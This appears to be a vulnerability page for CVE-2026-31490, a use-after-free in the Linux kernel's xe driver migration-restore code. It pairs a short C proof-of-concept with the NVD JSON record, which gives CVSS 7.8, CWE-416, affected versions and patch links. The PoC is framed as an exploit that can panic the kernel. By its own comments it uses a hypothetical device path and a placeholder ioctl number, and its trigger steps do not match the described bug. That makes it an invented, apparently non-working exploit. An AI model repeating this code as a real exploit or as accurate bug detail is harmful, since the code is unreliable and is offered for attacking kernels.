CVE-2026-31490

/* * PoC for CVE-2026-31490 * Triggering use-after-free in xe_sriov_pf_migration_restore_produce */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // Hypothetical device path and IOCTL for demonstration #define DEVICE_PATH "/dev/dri/renderD128" #define IOCTL_MIGRATION_RESTORE 0x8000 // Placeholder struct restore_args { unsigned long addr; size_t size; }; int main() { int fd; struct restore_args args; printf("[*] Opening device %s...\n", DEVICE_PATH); fd = open(DEVICE_PATH, O_RDWR); if (fd < 0) { perror("[-] Failed to open device"); return 1; } // Step 1: Trigger the error path in xe_sriov_pf_migration_restore_produce // This causes the internal pointer to be freed but not set to NULL printf("[*] Step 1: Triggering error path (freeing pointer)\n"); args.size = 0xFFFFFFFF; // Invalid size to force error if (ioctl(fd, IOCTL_MIGRATION_RESTORE, &args) != 0) { printf("[+] Error returned as expected (pointer freed)\n"); } // Step 2: Call write again. The driver tries to use the stale pointer. printf("[*] Step 2: Calling write again to trigger UAF\n"); // This loop attempts to trigger the .write() callback write(fd, "TRIGGER", 7); printf("[*] If exploit successful, kernel panic or crash occurs here.\n"); close(fd); return 0; }

{"cve": {"id": "CVE-2026-31490", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-22T14:16:46.763", "lastModified": "2026-04-28T12:52:29.867", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/xe/pf: Fix use-after-free in migration restore\n\nWhen an error is returned from xe_sriov_pf_migration_restore_produce(),\nthe data pointer is not set to NULL, which can trigger use-after-free\nin subsequent .write() calls.\nSet the pointer to NULL upon error to fix the problem.\n\n(cherry picked from commit 4f53d8c6d23527d734fe3531d08e15cb170a0819)"}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19.1", "versionEndExcluding": "6.19.11", "matchCriteriaId": "5054C854-C253-4020-BD2E-2BDA121E424C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:-:*:*:*:*:*:*", "matchCriteriaId": "35C8A871-4971-433E-A046-FC9F7B7D190A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/87997b6c6516e049cbaf2fc6810b213d587a06b1", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/e28552b4ddea5cb4725380dd08237831af835124", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}